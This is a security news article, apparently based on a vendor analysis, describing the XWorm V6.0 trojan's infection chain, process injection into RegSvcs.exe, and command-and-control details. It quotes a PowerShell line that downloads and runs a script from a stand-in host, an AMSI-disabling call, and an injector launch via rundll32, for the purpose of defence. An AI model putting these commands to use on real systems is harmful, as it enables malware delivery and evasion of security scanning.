New XWorm V6 Variant Injects Malicious Code into a Legitimate Windows Program


The resurgence of XWorm in mid-2025 marks a significant escalation in malware sophistication.

After a lull following the abrupt discontinuation of official support for version 5.6 in late 2024, threat actors unveiled XWorm V6.0 on June 4, 2025.

A post on hackforums.net by an account named XCoderTools first announced this release, claiming to patch a critical remote code execution flaw present in earlier editions.

Post made on hackforums[.]net (Source – Trellix)

Despite initial skepticism about the author’s authenticity, subsequent samples submitted to VirusTotal confirmed the malware’s rapid adoption among cybercriminals.

XWorm’s modular architecture centers around a core client and a suite of plugins that enable varied malicious activities—from credential theft to ransomware deployment.

Once the initial dropper executes, it employs a multi-stage infection chain designed to evade detection and persist on compromised systems.

google

Infection chain of XWorm V6.0 (Source – Trellix)

Trellix analysts noted that the attacker-delivered JavaScript installer disables Windows Defender’s Antimalware Scan Interface before launching a PowerShell script that loads an injector DLL.

By injecting code into a legitimate Windows process such as RegSvcs.exe, the malware effectively conceals its presence within trusted system binaries.

Subsequent communication follows a well-defined protocol toward a command-and-control (C2) server at 94.159.113.64 over port 4411, using an AES-encrypted channel and a default key of 666666.

Once connected, the client generates a unique machine identifier by hashing a combination of system parameters—username, OS version, processor count, and directory sizes.

Generation of Client ID (Source – Trellix)

This Client ID is stored under HKCU in the registry and used for all future plugin storage, encryption routines, and C2 transactions.

Infection Mechanism

Delving into XWorm V6’s infection mechanism reveals a carefully orchestrated sequence of actions. The initial payload arrives as a JavaScript (.js) file embedded in phishing emails or compromised websites.

When executed, this script issues a PowerShell command similar to the following:-

$payload = (New-Object System.Net.WebClient).DownloadString('http://malicious.site/loader.ps1')
Invoke-Expression $payload

The downloaded PowerShell content first calls [System.Management.Automation.AmsiUtils]::ToggleAmsi(false) to disable AMSI scanning.

It then writes the injector DLL and the primary XWorm client executable to %TEMP%, before launching the DLL using:-

Process injector = new Process();
injector.StartInfo.FileName = "rundll32.exe";
injector.StartInfo.Arguments = “"%TEMP%\injector.dll",#1 "%TEMP%\XWormClient.exe"”;
injector.Start();

By leveraging rundll32.exe, the injector maps malicious code into the address space of RegSvcs.exe, ensuring the Trojan runs under a legitimate process context.

This stealthy approach not only bypasses application whitelisting but also complicates forensic analysis by scattering malicious components across transient directories.

Once the payload is resident, the client calls home to retrieve further instructions or plugins, which are delivered as Base64-encoded DLLs.

Each plugin’s SHA-256 hash is checked against the registry; if absent, the plugin is fetched and loaded directly into memory, negating the need for disk writes.

This memory-resident design significantly reduces the malware’s footprint and enhances persistence, making detection and remediation especially challenging for defenders.

Follow us on Google News, LinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

googlenews



Source link

About Cybernoz

Security researcher and threat analyst with expertise in malware analysis and incident response.